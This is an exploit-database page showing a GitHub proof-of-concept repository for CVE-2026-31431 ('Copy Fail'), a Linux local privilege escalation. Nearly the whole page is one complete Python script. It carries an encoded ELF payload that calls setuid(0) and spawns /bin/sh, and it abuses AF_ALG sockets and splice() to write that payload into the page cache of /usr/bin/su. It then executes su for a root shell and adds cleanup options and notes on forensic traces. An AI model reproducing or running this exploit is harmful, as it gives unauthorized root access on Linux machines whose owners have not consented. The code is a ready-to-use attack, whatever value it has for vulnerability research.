Exploit database

GH-ff837c35c1302d2ffd154988abd45ac5

rvzsec/cve-2026-31431

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-31431

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
rvzsec/cve-2026-31431Revision 8e14039461d3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

copy_fail.py

Python · 6,625 bytes
#!/usr/bin/env python3
"""
CVE-2026-31431 - Copy Fail (Improved PoC)
Linux Local Privilege Escalation via AF_ALG + splice() + authencesn

Improvements over original:
  --cleanup      Drop page cache after exploit to restore clean binary
  --check-only   Test vulnerability without exploiting
  --target PATH  Custom target binary (default: /usr/bin/su)
  Signal handlers for clean abort

Ravindu Wickramasinghe (rvz)
Zyenra Security - www.zyenra.com
https://www.zyenra.com/blog/copy-fail-cve-2026-31431
"""

import os
import sys
import signal
import socket
import zlib
import argparse
import ctypes
import ctypes.util

SOL_ALG = 279

# minimal ELF: setuid(0) + execve("/bin/sh"), zlib compressed
PAYLOAD = zlib.decompress(bytes.fromhex(
    "78daab77f57163626464800126063b0610af82c101cc7760c0"
    "040e0c160c301d209a154d16999e07e5c1680601086578c0f0"
    "ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcac"
    "fa499979fac5190c0c0c0032c310d3"
))

# state
_corrupted = False
_target = "/usr/bin/su"
_cleanup = False


def drop_page_cache(path: str) -> bool:
    """Evict a file's pages from the page cache via posix_fadvise(DONTNEED)."""
    try:
        libc_name = ctypes.util.find_library("c")
        if not libc_name:
            return False
        libc = ctypes.CDLL(libc_name, use_errno=True)
        fd = os.open(path, os.O_RDONLY)
        # POSIX_FADV_DONTNEED = 4
        rc = libc.posix_fadvise(fd, ctypes.c_long(0), ctypes.c_long(0), 4)
        os.close(fd)
        return rc == 0
    except Exception:
        return False


def signal_handler(sig, frame):
    """Handle interrupt during exploitation."""
    global _corrupted
    if _corrupted:
        print(f"\n[!] interrupted - page cache of {_target} is corrupted")
        if _cleanup:
            print(f"[*] attempting page cache cleanup for {_target}...")
            if drop_page_cache(_target):
                print("[+] page cache evicted - next read loads clean copy from disk")
                _corrupted = False
            else:
                print("[-] eviction failed - run: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'")
        else:
            print("[!] page cache NOT cleaned (use --cleanup to auto-restore)")
            print("[!] manual fix: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'")
    sys.exit(1)


def check_vuln() -> bool:
    """Test if system is vulnerable to CVE-2026-31431."""
    try:
        t = socket.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET
        t.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
        t.close()
        return True
    except OSError as e:
        print(f"[-] not vulnerable: {e}")
        return False


def write4(fd: int, offset: int, data: bytes):
    """Write 4 bytes into the page cache at the given offset."""
    sock = socket.socket(38, 5, 0)
    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    sock.setsockopt(SOL_ALG, 1, bytes.fromhex("0800010000000010" + "0" * 64))
    sock.setsockopt(SOL_ALG, 5, None, 4)
    req, _ = sock.accept()

    n = offset + 4
    z = bytes(1)
    aad = b"A" * 4 + data

    req.sendmsg([aad], [
        (SOL_ALG, 3, z * 4),               # ALG_SET_OP = decrypt
        (SOL_ALG, 2, b"\x10" + z * 19),    # ALG_SET_IV
        (SOL_ALG, 4, b"\x08" + z * 3),     # ALG_SET_AEAD_ASSOCLEN
    ], 0x8000)  # MSG_MORE

    r, w = os.pipe()
    os.splice(fd, w, n, offset_src=0)
    os.splice(r, req.fileno(), n)

    try:
        req.recv(8 + offset)
    except OSError:
        pass

    os.close(r)
    os.close(w)
    req.close()
    sock.close()


def main():
    global _corrupted, _target, _cleanup

    parser = argparse.ArgumentParser(
        description="CVE-2026-31431 - Copy Fail PoC",
        epilog=""
    )
    parser.add_argument("--check-only", action="store_true",
                        help="test if system is vulnerable without exploiting")
    parser.add_argument("--cleanup", action="store_true",
                        help="drop page cache after exploit to restore clean binary")
    parser.add_argument("--target", default="/usr/bin/su",
                        help="target setuid binary (default: /usr/bin/su)")
    args = parser.parse_args()

    _target = args.target
    _cleanup = args.cleanup

    # install signal handlers
    signal.signal(signal.SIGINT, signal_handler)
    signal.signal(signal.SIGTERM, signal_handler)

    chunks = (len(PAYLOAD) + 3) // 4

    print(f"[*] CVE-2026-31431 - Copy Fail")
    print(f"[*] target: {_target}")

    # vulnerability check
    if not check_vuln():
        print("[!] system does not appear vulnerable")
        return 1

    print("[+] AF_ALG + authencesn available - system is vulnerable")

    if args.check_only:
        print("[*] --check-only: not exploiting. system IS vulnerable.")
        return 0

    # verify target
    if not os.access(_target, os.R_OK):
        print(f"[!] cannot read {_target}")
        return 1

    print(f"[*] payload: {len(PAYLOAD)} byte ELF (setuid(0) + execve('/bin/sh'))")
    if _cleanup:
        print("[*] cleanup mode: will evict page cache after exploitation")
    else:
        print("[!] no cleanup: page cache will remain corrupted until reboot")

    fd = os.open(_target, os.O_RDONLY)
    print(f"[*] opened {_target} (fd={fd})")

    # write payload
    for i in range(0, len(PAYLOAD), 4):
        chunk = PAYLOAD[i:i+4]
        write4(fd, i, chunk)
        _corrupted = True
        print(f"[+] wrote 4B at offset {i:3d} ({i//4 + 1}/{chunks})")

    os.close(fd)
    print("[*] page cache corrupted")

    # execute
    print(f"[*] executing {_target}...")
    os.system(_target)

    # post-exploitation cleanup
    if _cleanup:
        print(f"\n[*] cleanup: evicting page cache for {_target}")
        if drop_page_cache(_target):
            print("[+] page cache evicted - binary restored to clean on-disk version")
            _corrupted = False
        else:
            print("[-] eviction failed - try: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'")

    # forensic warnings
    print("\n[*] forensic notes:")
    if _corrupted:
        print(f"    - page cache of {_target} is STILL CORRUPTED")
        print(f"    - any user running {_target} will get root until reboot")
        print("    - fix: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'")
    else:
        print("    - page cache cleaned via POSIX_FADV_DONTNEED")
    print("    - on-disk binary was never modified (read-only exploit)")
    print("    - this script remains on disk (clean up manually)")
    print("    - shell history contains execution record")

    return 0


if __name__ == "__main__":
    sys.exit(main())